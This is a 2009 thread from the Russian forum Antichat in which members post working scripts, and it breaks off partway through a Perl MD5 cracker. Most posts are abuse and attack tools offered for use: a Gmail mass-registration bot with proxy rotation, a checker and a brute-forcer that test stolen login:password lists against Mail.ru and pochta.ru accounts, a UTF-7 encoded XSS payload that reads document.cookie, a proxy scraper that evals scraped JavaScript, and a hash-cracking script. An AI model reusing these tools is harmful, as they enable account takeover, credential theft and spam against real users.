HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.04.2009, 01:35
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию

gmail регер с ручным вводом капчи

PHP код:
<?php  
       $password 
"vv12345";
       
set_time_limit(300);

       function 
generateCode($length=6) {
           
$chars "abcdefghijklmnopqrstuvwxyz";
           
$code "";
           
$clen strlen($chars) - 1
           while (
strlen($code) < $length) {
               
$code .= $chars[mt_rand(0,$clen)];
              }
           return 
$code;                    
       }
       function 
generateDigits($length=6) {
           
$chars "0123456789";
           
$code "";
           
$clen strlen($chars) - 1
           while (
strlen($code) < $length) {
               
$code .= $chars[mt_rand(0,$clen)]; 
              }
           return 
$code;
       }


       
$proxies;
       
$proxiesFile fopen("proxies.txt","r+");
          while(!
feof($proxiesFile)){
       
$proxy fgets($proxiesFile,4096);
       
$delimPos strpos($proxy":");
       
$ip substr($proxy0$delimPos);
       
$port substr($proxy$delimPos+1strlen($proxy));        
               
$proxies[]= array($ip,$port);
   }

       
$lastURL="";
   function 
getPageWithProxy($URL,$data,$referer,$badString,$proxyType='') {
           global 
$lastURL;
       global 
$proxies
           
$proxyArrSize count($proxies);

       
$cp curl_init($URL);
       
$useragent="Mozilla/5.0 (Windows; U; Windows NT 5.0; us; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.666";
       
curl_setopt($cpCURLOPT_USERAGENT$useragent);
       
curl_setopt($cpCURLOPT_RETURNTRANSFER,1);
       
curl_setopt($cpCURLOPT_CONNECTTIMEOUT,3);
       
curl_setopt($cpCURLOPT_FOLLOWLOCATION,1);
       
curl_setopt($cpCURLOPT_SSL_VERIFYPEERfalse);
       
curl_setopt($cpCURLOPT_SSL_VERIFYHOST2);
               
curl_setopt($cpCURLOPT_VERBOSE1);

       
$cookieFilename "cookies.txt";
               if(
substr(PHP_OS03) == 'WIN' && strpos($cookieFilename,"/")===FALSE){
           
$cookieFilename str_replace('\\','/'getcwd().'/'.$cookieFilename);
       }

       
       
curl_setopt($cpCURLOPT_COOKIEJAR$cookieFilename);
       
curl_setopt($cpCURLOPT_COOKIEFILE$cookieFilename);
       
       if(
$data!=""){
               
curl_setopt($cpCURLOPT_POST1);
           
curl_setopt($cpCURLOPT_POSTFIELDS,$data);
       }
       if(
$referer!=""){
               
curl_setopt($cpCURLOPT_REFERER$referer);
       }
       if(
$proxyType=="socks4"){
           
curl_setopt($cp,CURLOPT_PROXYTYPE,4);
       }

       
$success false;
       for(
$i=0$i<2*$proxyArrSize$i++){
               
$num rand(0,$proxyArrSize-1);
           
$ip $proxies[$num][0];
           
$port $proxies[$num][1];
                       
curl_setopt($cpCURLOPT_PROXY"$ip".":"."$port");
           
$code curl_exec($cp);        
                       
$lastURL curl_getinfo($cp,CURLINFO_EFFECTIVE_URL);

           if(
curl_errno($cp)==&&  curl_getinfo($cp,CURLINFO_HTTP_CODE)==200){
                   
$badPos 0;
                   if(
$badString != ""){
                   
$badPos strpos($code$badString);                        
               }
               if(
$badPos==0){
                   
$success true;
                   break;
               }            
           }
       }

       
curl_close($cp);
               if (
$success == true){
           return 
$code;                    
       }else{
           return 
false;
       }
   }
if(!isset(
$_POST["go"])){
   
$code getPageWithProxy("http://gmail.com","","","","socks4");
   
$code getPageWithProxy("http://mail.google.com/mail/signup","",$lastURL,"","socks4");
       
$doc = new DOMDocument();
   
$doc->loadHTML($code);
                                                                       

   function 
getInputByName($domDocument,$name){
           
$inputList $domDocument->getElementsByTagName("input");
       for(
$c=0$c<$inputList->length$c++){
               
$atts $inputList->item($c)->attributes;
           if(
$atts->getNamedItem("name")->nodeValue==$name){
               return 
$atts->getNamedItem("value")->nodeValue;
               break;
       };
       }
   }


   
$captchaURL getInputByName($doc,"newaccounturl");
   
$continue getInputByName($doc,"continue");

   
$data  "continue=".urlencode($continue)."&";
   
$data  $data."service=mail&type=2&t=null&";
       
$data  $data."dsh=".getInputByName($doc,"dsh")."&";
       
$data  $data."edk=gmail.com&p=&";
   
$data  $data."Passwd=$password&PasswdAgain=$password&PersistentCookie=no&";
       
$data  $data."rmShown=1&smhhk=1&&smhck=1&nshk=1&selection=What+is+your+primary+frequent+flyer+number&";
   
$data  $data."ownquestion=&IdentityAnswer=".generateDigits(rand(2,3))."&SecondaryEmail=&hl=en&loc=US&";
   
$data  $data."newaccounttoken=".getInputByName($doc,"newaccounttoken")."&";
   
$data  $data."newaccounturl=".urlencode($captchaURL)."&";
   
$data  $data."newaccounttoken_audio=".getInputByName($doc,"newaccounttoken_audio")."&";
   
$data  $data."newaccounturl_audio=".urlencode(getInputByName($doc,"newaccounturl_audio"))."&";
       
$data  $data."program_policy_url=".urlencode(getInputByName($doc,"program_policy_url"))."&";
       
$data  $data."privacy_policy_url=".urlencode(getInputByName($doc,"privacy_policy_url"))."&";
       
$data  $data."requested_tos_location=US&requested_tos_language=en&";
   
$data  $data."served_tos_location=US&served_tos_language=en&";
   
$data  $data."submitbutton=".urlencode(getInputByName($doc,"submitbutton"));
?>
<html>
<head/>
<body>
<form method="post" action="gmreger.php">
   <input type="hidden" name="continue" value="<?php echo $continue ?>" />
   <input type="hidden" name="data" value="<?php echo $data ?>" />
   <input type="hidden" name="lastURL" value="<?php echo $lastURL ?>" />
   <table>
   <tr>
       <td>
           Enter keyword:
       </td>
       <td>
           <input name="keyword" value=""></input>
       </td>
   </tr>
   <tr>
       <td>
           &nbsp;
       </td>
       <td>
           <img alt="captcha" src="<?php echo $captchaURL ?>" />
       </td>
   </tr>
   <tr>
       <td>
           Enter captcha:
       </td>
       <td>
           <input name="captcha"></input>
       </td>
   </tr>
   <tr>
       <td>
           &nbsp;
       </td>
       <td>
               <input type="submit" name="go" width="150" value="go"/>
       </td>
   </tr>
   </table>
</form>
</body>
</html>
<?php
}else{                                
   
$words preg_split('/ /',$_POST["keyword"]);
       
   
$firstname $words[0];
   
$lastname;
   
$login substr($firstname,0,9);
   if(
count($words)>1){
       
$lastname $words[1];
           
$login $login substr($lastname,0,4);
   }else{
           
$lastname $words[0];
           
$login $login substr($lastname,1,7);
   }
   
$login strtolower($login generateCode(2).generateDigits(2));

          
$data  "FirstName=".$firstname."&LastName=".$lastname."&";
   
$data  $data."UsernameSelector=header&Email=".$login."&";
   
$data  $data."newaccountcaptcha=".$_POST["captcha"]."&";
   
$data  $data.$_POST["data"];

   
$regURL "https://www.google.com/accounts/CreateAccount?service=mail&".urlencode($_POST["continue"])."&type=2";
       echo 
getPageWithProxy($regURL,$data,$_POST["lastURL"],"","socks4");
}
?>
 
Ответить с цитированием

  #2  
Старый 21.04.2009, 18:23
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
С нами: 9497186

Репутация: 1304


По умолчанию

Небольшая функция для расшифровки простых обфускаций, например как тут или тут

PHP код:
function decrypt($data,$filename='',$times=1)
{
    error_reporting(0);

    function bulk($str)
    {
        $str = preg_replace('~^\?\>~','',$str);
        return str_ireplace(array('<?php','<?','?>','eval','__FILE__'),array('','','/*','echo','$_FILE__'),$str);
    }

    $f = $data;
    $_FILE__=$filename;
    
    for ($i=0;$i<$times;$i++)
    {
        ob_start();
        eval(bulk($f));
        $f = ob_get_contents();
        ob_end_clean(); 
    }
    return preg_replace(array('~^\?\>~','~\<\?$~'),'',$f);
}
Способ применения - $data - содержимое интересующего скрипта, например file_get_contents('encrypted.php')
$filename - путь до файла, некоторые защиты привязываются к __FILE__ например
$count - количество раз для снятия защиты, подбирается экспериментально, например для DLE - это 1, а для RedButton VVS Edition 5 или 6.

Последний раз редактировалось Gifts; 21.04.2009 в 18:27..
 
Ответить с цитированием

  #3  
Старый 22.04.2009, 11:13
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
С нами: 9336002

Репутация: 204
По умолчанию

Чекер акков соц. сети "Мой Мир"
PHP код:
<?//СПС mr.grek 
set_time_limit(0); 
$accs file ("accs.txt"); 
$unaccs array_unique ($accs); 
$in count $accs ); 
$all count $unaccs ); 
for(
$i 0$i $all;$i ++) 

$buffer trim($unaccs[$i]); 
list (
$email$pass) = explode(":"$buffer); 
list (
$login$domain) = explode("@"$email); 
$url "http://my.mail.ru/cgi-bin/auth"
$referer "http://my.mail.ru/cgi-bin/login?page=http%3A%2F%2Fmy.mail.ru%2F"

$ch curl_init(); 
curl_setopt($chCURLOPT_URL$url); 
curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
curl_setopt($chCURLOPT_POST1); 
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
curl_setopt($chCURLOPT_POSTFIELDS"Login=$login&ampomain=$domain&Password=$pass"); 
curl_setopt($chCURLOPT_COOKIEJAR$_SERVER['DOCUMENT_ROOT'].'/cookie.txt'); 
$result curl_exec($ch); 

if(
preg_match("#Новое сообщение#"$result)) 

$fp fopen("good.txt""a+"); 
fwrite($fp$buffer); 

else 

$fp fopen("bad.txt""a+"); 
fwrite($fp$buffer); 


?>
В accs.txt ложим акии формата
login@mail.ru:12345

Последний раз редактировалось Shaitan-Devil; 22.04.2009 в 11:37..
 
Ответить с цитированием

"Ыыыы" или просто ОЛоло
  #4  
Старый 25.04.2009, 06:49
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
С нами: 9655526

Репутация: 1821


По умолчанию "Ыыыы" или просто ОЛоло

Вообщем на коленке накидал скриптик, дело было достаточно давно, но надо было трансика на вечер, инет у меня медленный вот накидал для скачки музыки с прикольного сайтика, также можно подредактировать под свои нужды.
PHP код:
#! /usr/bin/env python
# -*- coding:windows-1251 -*-

#-#######################################################-##
# Скачиваем музыку                                        ##
# (c) 2009                                                ##
# Создал специально для себя,                             ##
# так как инет медленный, а без                           ##
# Транса, кодить не умею...                               ##
# De-visible project                                      ##
# ndcoders.ru                                             ##
# GreetZ To login999                                      ##
# Thanks to http://mp3.myws.ru/index.php/search?q=trance  ##
# Также делаем программы на заказ                         ##
# Контакт ICQ#: 22-3333-575                               ##
# Мы: ndcoders.ru, devisible.ru                           ##
#-######################################################-###

import urllib
import time
import re
import threading
import urlparse
import string

URL_MAS 
= []
1

def DownFile
(url):
    
urlparse.urlsplit(url)
    
mp3_name str(f.path).strip('\/')
    
mp3_name str(mp3_name).strip('[')
    
mp3_name str(mp3_name).strip(']')
    
mp3_name str(mp3_name).strip('\'')
    
mp3_name mp3_name.replace('/','1')
    try:
        print 
u"Начинаем закачку файла: "mp3_name'\n'
        
print u"Размер файла: "GetSizeMp3(url), "byte"
        
infile urllib.urlopen(url).read()
    
except:
        print 
u"Ошибка скачивания: "mp3_name
    
print u", Файл закачен\n"
    
mp3_file open(mp3_name+str(s)+'.mp3',"wb")
    
mp3_file.write(infile)
    
mp3_file.close()
    print 
'File Saved Local'

def GetSizeMp3(url):
    
size_mp3 urllib.urlopen(url).info()
    
mp3 str(size_mp3)
    
s_mp3 str(re.findall(r'Content-Length: (.*?)\r\n',mp3))[2:-2]
    print 
s_mp3

def LoadFromFile
():
    
with open("urls.txt",) as urls:
        for 
ur in urls:
            
URL_MAS.append(ur[:-1])

def ServerOption():
    
info urllib.urlopen('http://mp3.myws.ru').info()
    
with open('serv_option.txt',"w") as serv:
        
serv.write(str(info))
        print 
'''
            Author: De-visible, ICQ#: 22-3333-575
            WeAre:  ND_c0ders, ndcoders.ru
            ServerOption: mp3.myws.ru

            '''
        
print info,'\n\n'

def Start_Process():
    
LoadFromFile()
    print 
u"Массив ссылок загружен",'\n'
    
print u"Менеджер закачек запущен",'\n'
    
ServerOption()
    
1
    
for url_mas in URL_MAS:
        
DownFile(url_mas)
    
time.sleep(3)
        
s+= s
    
print u" Все закачки завершены"
threading.Thread(target Start_Process).start()
time.sleep(1000
 
Ответить с цитированием

  #5  
Старый 01.05.2009, 22:37
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
С нами: 9399011

Репутация: 444
По умолчанию

Индикация языка ввода будит полезна при вводе пароля, скрипт покажет язык ввода и регистр вводимых букв.

вставляем это на страницу:

Код:
<script type="text/javascript">
  $(function(){
    $(':password').keyboardLayout();
  });
</script>

подгружаем эти файлы:
jquery.keyboardLayout.js и jquery.js
Код:
(function() {

  jQuery.keyboardLayout = {};

  jQuery.keyboardLayout.indicator = $('<span class="keyboardLayout" />');

  jQuery.keyboardLayout.target;

  jQuery.keyboardLayout.layout;

  jQuery.keyboardLayout.show = function(layout){
    this.layout = layout;
    this.indicator.text(layout);
    this.target.after(this.indicator);
  };

  jQuery.keyboardLayout.hide = function(){
    this.target = null;
    this.layout = null;
    this.indicator.remove();
  };

  jQuery.fn.keyboardLayout = function()
  {
    this.each(function(){

      $(this).focus(function(){
        jQuery.keyboardLayout.target = $(this);
      });

      $(this).blur(function(){
        jQuery.keyboardLayout.hide();
      });

      $(this).keypress(function(e){
        var c = (e.charCode == undefined ? e.keyCode : e.charCode);
        var layout = jQuery.keyboardLayout.layout;
        if (c >= 97/*a*/  && c <= 122/*z*/ && !e.shiftKey ||
            c >= 65/*A*/  && c <= 90/*Z*/  &&  e.shiftKey ||
             (c == 91/*[*/  && !e.shiftKey ||
              c == 93/*]*/  && !e.shiftKey ||
              c == 123/*{*/ &&  e.shiftKey ||
              c == 125/*}*/ &&  e.shiftKey ||
              c == 96/*`*/  && !e.shiftKey ||
              c == 126/*~*/ &&  e.shiftKey ||
              c == 64/*@*/  &&  e.shiftKey ||
              c == 35/*#*/  &&  e.shiftKey ||
              c == 36/*$*/  &&  e.shiftKey ||
              c == 94/*^*/  &&  e.shiftKey ||
              c == 38/*&*/  &&  e.shiftKey ||
              c == 59/*;*/  && !e.shiftKey ||
              c == 39/*'*/  && !e.shiftKey ||
              c == 44/*,*/  && !e.shiftKey ||
              c == 60/*<*/  &&  e.shiftKey ||
              c == 62/*>*/  &&  e.shiftKey) && layout != 'EN') {

          layout = 'en';

        } else if (c >= 65/*A*/ && c <= 90/*Z*/  && !e.shiftKey ||
                   c >= 97/*a*/ && c <= 122/*z*/ &&  e.shiftKey) {

          layout = 'EN';

        } else if (c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ && !e.shiftKey ||
                   c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ &&  e.shiftKey ||
                   (c == 1105/*С‘*/ && !e.shiftKey ||
                    c == 1025/*РЃ*/ &&  e.shiftKey ||
                    c == 8470/*в„–*/ &&  e.shiftKey ||
                    c == 59/*;*/   &&  e.shiftKey ||
                    c == 44/*,*/   &&  e.shiftKey) && layout != 'RU') {

          layout = 'ru';

        } else if (c >= 1040/*Рђ*/ && c <= 1071/*РЇ*/ && !e.shiftKey ||
                   c >= 1072/*Р°*/ && c <= 1103/*СЏ*/ &&  e.shiftKey) {

          layout = 'RU';

        }
        if (layout) {
            jQuery.keyboardLayout.show(layout);
        }
      });
    });
  };

})();

Каму надо тот разберётся, кто непонял что это вот ДЕМО

Последний раз редактировалось heretic1990; 13.05.2009 в 10:34..
 
Ответить с цитированием

  #6  
Старый 07.05.2009, 23:07
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
С нами: 9399011

Репутация: 444
По умолчанию

MatriX30000, free.jpg, это не картинка, это скрипт.))
встави где нибудь его как рисунок и все
 
Ответить с цитированием

кодируем в UTF-7
  #7  
Старый 07.05.2009, 23:34
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
С нами: 9023100

Репутация: 395


По умолчанию кодируем в UTF-7

Щас час потратил изобретая велосипед на Си (читая RFC написал свой base64 ы), но так и не получил результата... немного полистав странички гугла...

PHP код:
<?php
echo iconv('windows-1251','UTF-7',"</title><script>alert(document.cookie);</script>");
?>
*бьюсь ап стену*

З.Ы: если не в курсах зачем может понадобится UTF-7 читайте про XSS
 
Ответить с цитированием

  #8  
Старый 08.05.2009, 18:34
shellz[21h]
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
С нами: 9680718

Репутация: 118
По умолчанию

PHP код:
<?

# +----------------------------------------------+
# |   - Generator socks5 ;)                      |                 
# |   - (c) 2009 Writed by shellz                |
# +----------------------------------------------+

// Setting:
 
 
set_time_limit(0);
 
error_reporting(0);

  
$loop 10;    // 1 - num loops
  
$mode 1;    // 0 - show all; 1 - show only the good
  
$save 0;    // 0 - show on page; 1 - save in the file
  
$file 'socks5.txt';   // File name
 
 
do 
 {
  
$url "http://sockslist.net";
  
$get file($url);
 
  foreach(
$get as $getting)
     {
       
$pattern "/<script type=\'text\/javascript\'>(.+)\(unescape\(\'.*\'\)\)<\/script>/is";
       
preg_match($pattern$getting$grab);
         
         if(
$grab[0] == true) {
           
$str_beg  str_replace("<script type='text/javascript'>eval(unescape('"""$grab[0]);
           
$str_end  str_replace("'))</script>",""$str_beg);
           
$js  urldecode($str_end);
           
$arr explode(";"$js); 
           
$version explode("+"$arr[16]);
           
$country explode("</td>"$arr[16]);
       
          for(
$i 0$i 12$i++)
          {   
            if(
$i 10) {
            
$two explode("="trim($arr[$i]));
            } else {  
            
$socks .= '$'.trim($arr[$i]).';';  
            } 
          }
       
         
$socks .= '$port = $'.trim($two[1]).';';
         eval(
$socks);
         if(
trim($version[5]) == 5) { // show only socks 5 version;
         
$intz $ipa.":".$port.":".trim($version[5]); }
         
          if(
$mode == 0) {
            if(
$save == 0) {
            echo 
$ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."<br>"; } else {
              
file_put_contents($file$ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."\n"FILE_APPEND);
            }
          } else {
            
$check file_get_contents("http://sockslist.net/cgi-bin/socks/proxytools.cgi?do=check&socks=".$intz); 
            
$patterm "|<font color=\"\#00ab38\">works<\/font>|is"
         
            if(
preg_match($patterm$check)) {
            if(
$save == 0){
            echo 
$ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good! <br>"; } else {
              
file_put_contents($file$ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good!\n"FILE_APPEND); }
            }
     }
     }
   } 
$lp++;
 } 
 while(
$lp $loop); 

?>
 
Ответить с цитированием

  #9  
Старый 09.05.2009, 21:38
art2222
Участник форума
Регистрация: 28.04.2008
Сообщений: 172
С нами: 9492347

Репутация: 270
По умолчанию

Простой скрипт брутер pochta.ru.
Использует очень полезный класс для работы с сокетами.

Сам брутер:
PHP код:
<?php
    
/*
        Pochta.ru брутер.
        login.txt - файл формата e-mail;password
        proxy.txt - файл с проксями.
        good.txt  - сбрученные аккаунты.
        (с) art2222
    */
    
require_once 'class.php';
    
    
$cs = new phpsploit();
    
$cs -> agent('Mozilla/4.0 (compatible; MSIE 6.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
    
$proxy = @file('proxy.txt');
    
$good = array();

    foreach (
file('login.txt') as $value)
    {
        list(
$login,$pass) = explode(';',trim($value));
        list(
$login,$domain) = explode('@',$login);
        list(
$ip,$port) = explode(':',trim(array_rand($proxy)));
        
$cs->proxy($ip,$port);

        
$content $cs->post('http://pda.pochta.ru/auth/logon',"reason=login&lng=ru&rnd=&user=$login&domain=$domain&pass=$pass");
        if (
strpos($content,'INBOX')) array_push($good$value);
    }
    
file_put_contents('good.txt'$good);
?>
Брутер+php класс
 
Ответить с цитированием

MD5-Crack-Monster(перл)
  #10  
Старый 10.05.2009, 13:32
hors_de_prix
Banned
Регистрация: 10.05.2009
Сообщений: 36
С нами: 8950090

Репутация: 9
По умолчанию MD5-Crack-Monster(перл)

Код:
#!usr/bin/perl   ## #     Coded By hors_de_prix #   Md5 Crack Monster v1.1 ####################### #   www.tydal.nu #   milw0rm.com #   gdataonline.com #   ice.breaker.free.fr #   passcracking.com #   md5.hashcracking.com #   md5decryption.com #   www.hashchecker.com #   victorov.su #   md5crack.it-helpnet.de #   www.md5decrypter.com #   blacklight.gotdns.org #   www.hashchecker.com #   md5.ip-domain.com.cn #   www.bigtrapeze.com #   opencrack.hashkiller.com #   md5live.com #   www.md5hood.com #   www.astalavista.net ####################### #   Ex. Option 1 # #   Pick one of ~# 1 #   Enter Md5 Hash ~# 9f06cd848dfef4e02ff9a14a21ae5dd8 #   *************** #   Ex. Option 2 # #   Pick one of ~# 2 #   Enter Md5 File ~# md5_hash.txt #   *************** # #   Ex. For md5_hash.txt # #   28c15e68173b7bf815ccbfd0513d2663 #   21232f297a57a5a743894a0e4a801fc3 #   8ff32489f92f33416694be8fdc2d4c22 #   ... #   ... ##  use LWP::UserAgent;  use HTTP::Request::Common;   system('cls'); system('title Md5 Crack Monster v1.1 - Coded By KuNdUz');  print "\n\t***********************************\n";  print "\t*      Md5 Crack Monster v1.1     *\n";  print "\t*         Coded By KuNdUz         *\n";  print "\t-   Options:                      -\n";  print "\t*          1 - md5 hash           *\n";  print "\t*          2 - md5.txt            *\n";  print "\t***********************************\n";    print "\nPick One Of ~# "; $pick=<STDIN>; chop($pick);  if($pick == "1"){ MD5FAIL: print "\nEnter Md5 Hash ~# "; $hash=<STDIN>; chop($hash);  ###############md5 hash crack###############  if (length($hash)==32) {   print "\n\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*  -*-*-*-*-*-*-*-*-*\n";  print "\t*                 Md5 Crack Monster v1.1                    *\n";   print "\t*                    Coded By KuNdUz                        *\n";  print "\t*__ $hash Searching 19 sites __*\n";  print  "\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-  *-*-*-*-*-*-*-*-*\n\n"; &next; } else {  print "\nThis is not a md5 hash!\n\n$hash \n\nTry Again!  \n\n";  goto MD5FAIL; }  }  ###############md5 hash file   crack###############  if($pick == "2"){  print "\nEnter Md5 File ~# "; $file=<STDIN>; chop($file);  open(RES,"<","$file");  @lol = <RES>;  close(RES);  foreach $hash(@lol){ print "       \nSearching Md5 Hash  $hash\n\n"; &next; } }  sub next {   $url = "http://www.tydal.nu/php/sakerhet/md5.php?  q=$hash"; $lwp = LWP::UserAgent->new();  $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1;   en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url);   print "1 www.tydal.nu                 ----  ";  if ($connect -> content =~ /(.*)<\/b><\/h5>/) {  if ($connect -> content =~ /Ingen/) {  print "Result : Hash not found!\n";  } else {  print "Result : $1\n";  }  } else {  print "Result : Hash not found!\n";  }   $url = "http://milw0rm.com/cracker/search.php";  $lwp = LWP::UserAgent->new();  $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1;   en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "Submit" =>   "Submit"]);  print "2 www.milw0rm.com              ----  ";  if ($request->content =~ /<\/TD><TD align=\"middle\"   nowrap=\"nowrap\" width=90>(.*)<\/TD><TD   align=\"middle\" nowrap=\"nowrap\"   width=90>cracked<\/TD><\/TR>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://gdataonline.com/qkhash.php?  mode=txt&hash=$hash";  $lwp = LWP::UserAgent->new();  $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1;   en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");  $connect = $lwp -> get($url);  print "3 gdataonline.com              ----  ";  if ($connect -> content =~ /<\/td><td width=\"35%\"><b>  (.*)<\/b><\/td><\/tr>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://ice.breaker.free.fr/md5.php?hash=$hash";  $lwp = LWP::UserAgent->new();  $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1;   en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");  $connect = $lwp->get($url);   print "4 ice.breaker.free.fr          ----  ";  if ($connect -> content =~ /: <b><br><br> - (.*)  <br><br><br><a href=http:\/\/ice.breaker.free.fr\/#hash>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://passcracking.com/";  $lwp = LWP::UserAgent->new();  $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1;   en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");  $request = $lwp ->post($url, ["datafromuser" => $hash,   "submit" => "DoIT"]);   print "5 passcracking.com             ----  ";  if ($request->content =~ /<\/td><td>md5   Database<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*)  <\/td><td>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://md5.hashcracking.com/search.php?  md5=$hash";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url);   print "6 md5.hashcracking.com         ----  ";  if ($connect->content =~ /Cleartext of $hash is (.*)/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://md5decryption.com";  $lwp = LWP::UserAgent->new();  $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1;   en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "submit" =>   "Decrypt It!"]);     print "7 www.md5decryption.com        ----  ";  if ($request->content =~ /<h2>Results<\/h2><b>Md5   Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b>  (.*)<br\/>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://www.hashchecker.com/index.php?  _sls=search_hash";  $lwp = LWP::UserAgent->new();  $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1;   en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp -> post($url, ["search_field" => $hash,   "Submit" => "search"]);    print "8 www.hashchecker.com          ----  ";  if ($request -> content =~ /<td><li>Your md5 hash is   :<br><li>$hash is <b>(.*)<\/b> used charl/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://victorov.su/md5/?md5e=&md5d=$hash";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");  $connect = $lwp -> get($url);   print "9 victorov.su                  ----  ";  if ($connect -> content =~ /MD5 расшифрован: <b>(.*)  <\/b><br><form action=\"\">/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://md5crack.it-helpnet.de/index.php?op=search";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" =>   "Search now"]);   print "10 md5crack.it-helpnet.de      ----  ";  if ($request->content =~ /<\/td><td>$hash<\/td><td>(.*)  <\/td>/) {  if (length($1)==23) {  print "Result : Hash not found!\n";  } else {  print "Result : $1\n";  }  } else {  print "Result : Hash not found!\n";  }   $url = "http://www.md5decrypter.com/";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");  $request = $lwp->post($url, ["hash" => $hash, "submit" =>   "Decrypt!"]);   print "11 www.md5decrypter.com        ----  ";  if ($request->content =~ /<h2>Results<\/h2><b>Md5   Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b>  (.*)/) {  if (length($1)==23) {  print "Result : Hash not found!\n";  } else {  print "Result : $1\n";  }  } else {  print "Result : Hash not found!\n";  }   $url = "http://blacklight.gotdns.org/cracker/crack.php";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "algos" =>   "MD5", "crack" => "Crack"]);   print "12 blacklight.gotdns.org       ----  ";  if ($request->content =~ /$hash -> <b>(.*)  <\/b><br><br>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }   $url = "http://www.hashchecker.com/index.php?  _sls=search_hash";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["search_field" => $hash,   "Submit" => "search"]);   print "13 www.hashchecker.com         ----  ";  if ($request->content =~ /<td><li>Your md5 hash is   :<br><li>$hash is <b>(.*)<\/b> used charlist/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }  $url = "http://md5.ip-domain.com.cn/";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["text" => $hash, "submit" =>   "submit"]);   print "14 md5.ip-domain.com.cn        ----  ";  if ($request->content =~ /<strong>result:<\/strong><font   color=red>(.+)<\/font>&nbsp;/){  print "Result : $1\n";  } else { print "Result : Hash not found!\n";  }  $url = "http://www.bigtrapeze.com/md5/";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query" => $hash, "submit" => "   Crack "]);    print "15 